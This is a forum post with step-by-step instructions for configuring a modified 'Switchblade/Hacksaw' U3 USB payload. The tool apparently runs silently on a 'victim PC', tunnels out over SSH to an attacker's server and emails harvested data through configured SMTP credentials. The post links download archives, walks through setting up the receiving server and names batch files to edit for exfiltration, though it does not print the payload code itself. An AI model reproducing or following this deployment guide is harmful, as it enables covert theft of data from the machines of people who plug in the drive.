Well finally i have had some time to put this together, below is a zip file of my U3custom folder.
http://www.box.net/shared/6bm6ruod1d
Now before this will work you need to configure a couple of things
First things first you need to create a ssh account etc on your "server" the following instructions are HOW TO for OpenSSH public key authentication
1) Create a RSA ssh key pair with an empty pass phrase
$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/someuser/.ssh/id_rsa): /home/someuser/.ssh/secuser_id_rsa
Enter passphrase (empty for no passphrase): [enter]
Enter same passphrase again: [enter]
Your identification has been saved in /home/someuser/.ssh/secuser_id_rsa.
Your public key has been saved in /home/someuser/.ssh/secuser_id_rsa.pub.
The key fingerprint is:
8d:ef:b0:0f:9e:b5:cb:bd:4d:e3:12:da:a6:dc:3a:84 user@host
$ cat /home/someuser/.ssh/secuser_id_rsa
Note: This is the ssh private key you just created. This is the key that gets saved on the USB drive.
$ cat /home/someuser/.ssh/secuser_id_rsa.pub
Note: This is the ssh public key you just created. Copy this for step 3 later.
2) Create a user on the system that you want the victim PC to login to.
$sudo useradd [uSERNAME] -c "Hacksaw test user" -d /home/[uSERNAME] -m
Note: For the newbies replace the [uSERNAME] with an actual username like HACKSAW or something like that
3) Setup ssh public key auth for this user
$ sudo su - [uSERNAME] -c 'mkdir ~/.ssh'
$ sudo su - [uSERNAME] -c 'chmod 755 ~/.ssh'
$ sudo su - [uSERNAME] -c 'cat > ~/.ssh/authorized_keys2'
[paste your public key from step 1]
[CTRL-D]
$ sudo su - [uSERNAME] -c 'chmod 600 ~/.ssh/authorized_keys2'
4) Test it out
$ ssh -l secuser -i /home/someuser/.ssh/secuser_id_rsa localhost
8<--snip usual login guff
$ id
uid=1001(secuser) gid=1002(secuser) groups=1002(secuser)
Note: /home/someuser/.ssh/secuser_id_rsa is the path and filename for the private key you created in step 1.
Note: If this fails for any reason, re-run the ssh command with “-vvv” for very very verbose output and look for the reason it fails.
5) Create a limited shell for this user to stop people using it for bad things, scp, etc.
Create a shell file with the following in it using which ever text editor you like, call it hacksawshell.sh and save it to /usr/local/bin/
#!/bin/bash
while [ 1 ]; do
echo Greetings
sleep 60
done
[CTRL-D]
$ sudo chmod 755 /usr/local/bin/hacksawshell.sh
$ sudo chsh -s /usr/local/bin/hacksawshell.sh [uSERNAME]
Note: make sure you test this, and make sure the [username] cannot get a normal shell, or use scp/sftp/etc.
$ssh -l [username] -i /home/[usernaccount]/.ssh/[username]_id_rsa localhost
Last login: Thu Oct 26 16:46:33 2007 from localhost
Greetings
So now you have setup the server and hopefully by the time you have done this the file mentioned above has downloaded.
6) Unzip the file on your machine and move the contents to your u3custome folder
if you haven't already read the above, this is all based on the GONZOR switch blade go to http://www.users.on.net/~simmo_89/switchblade/Index.html to download his original files and replace his u3custom folder with mine
7) Now it is time to edit a couple of files
Edit the the go.bat found in the u3customsystemsrcssh folder
Now in the last line put in the details of your ssh server
Copy those details you have added and put it in go2.bat and go3.bat found in the aforementioned folder
edit u3customsystemsrcsshssh_config file and the proxy details to be used
8 ) Adding your ssh private key
In the u3customsystemsrcssh there is a file called ssh.key please copy your private key created in step one into this folder
9) Sendmail options
I know there is gui that was created for this but i found it didn't do some of the things I wanted to do so yet again edit
u3customsystemsend.bat
add your mailserver (smtp) and of course the port number this in the line that begins with "for"
And please set the variables for emailfrom, emailto, password etc
10) and we are almost done
I have also updated the antidote file that will hopefully kill and remove things, yet again this is built on GONZOR's.
http://www.box.net/shared/46rrt9plir
11) Create the key
Run the isocreate.cmd as per the GONZOR instructions and then of course the Universal_customizer.exe file
Once this is done open the executable SBCONFIG-Vxxxx.exe and make sure all items are checked.
Save your config and your done.
I hope i haven't missed any steps in putting this together and if I have then please let me know.
Things to note
This does not grab the settings from the user regarding the proxy details this is something (as per step 7) I'm still working on and I' hope you can help me out. As mentioned not sure what is the best way to go whether i need to run a proxycfg -u command and grab those details and add it to the ssh_config file.
Thoughts and ideas welcome.
Remember it is rude not to share :)